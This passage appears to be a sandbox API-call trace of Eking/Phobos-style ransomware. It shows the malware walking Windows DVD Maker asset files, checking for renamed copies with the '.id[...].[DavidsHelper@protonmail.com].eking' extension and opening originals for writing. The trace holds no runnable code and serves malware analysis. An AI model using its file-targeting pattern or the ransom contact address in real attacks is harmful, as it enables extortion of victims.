maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.317] SetEvent (hEvent=0x174) returned 1 [0182.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.402] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=789322) returned 1 [0182.402] CloseHandle (hObject=0x1e0) returned 1 [0182.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0182.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0182.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.402] SetEvent (hEvent=0x174) returned 1 [0182.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.403] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=869322) returned 1 [0182.403] CloseHandle (hObject=0x1e0) returned 1 [0182.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0182.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0182.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.405] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3016) returned 1 [0182.405] CloseHandle (hObject=0x1e0) returned 1 [0182.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0182.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0182.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.406] SetEvent (hEvent=0x174) returned 1 [0182.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.406] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1849) returned 1 [0182.406] CloseHandle (hObject=0x1e0) returned 1 [0182.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0182.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0182.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.407] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3016) returned 1 [0182.407] CloseHandle (hObject=0x1e0) returned 1 [0182.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0182.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0182.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.409] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2041) returned 1 [0182.409] CloseHandle (hObject=0x1e0) returned 1 [0182.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0182.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0182.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.415] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2891) returned 1 [0182.415] CloseHandle (hObject=0x1e0) returned 1 [0182.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0182.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0182.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.416] SetEvent (hEvent=0x174) returned 1 [0182.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.417] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3016) returned 1 [0182.417] CloseHandle (hObject=0x1e0) returned 1 [0182.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0182.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0182.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.418] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2019) returned 1 [0182.418] CloseHandle (hObject=0x1e0) returned 1 [0182.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0182.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0182.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.419] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=13239) returned 1 [0182.420] CloseHandle (hObject=0x1e0) returned 1 [0182.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0182.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0182.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.421] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5761) returned 1 [0182.421] CloseHandle (hObject=0x1e0) returned 1 [0182.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0182.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0182.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.425] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8169) returned 1 [0182.426] CloseHandle (hObject=0x1e0) returned 1 [0182.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0182.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0182.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.426] SetEvent (hEvent=0x174) returned 1 [0182.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.427] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=25662) returned 1 [0182.441] CloseHandle (hObject=0x1e0) returned 1 [0182.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0182.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0182.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.442] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6166) returned 1 [0182.442] CloseHandle (hObject=0x1e0) returned 1 [0182.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0182.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0182.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.472] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7946) returned 1 [0182.472] CloseHandle (hObject=0x1e0) returned 1 [0182.472] GetFileAttributesW 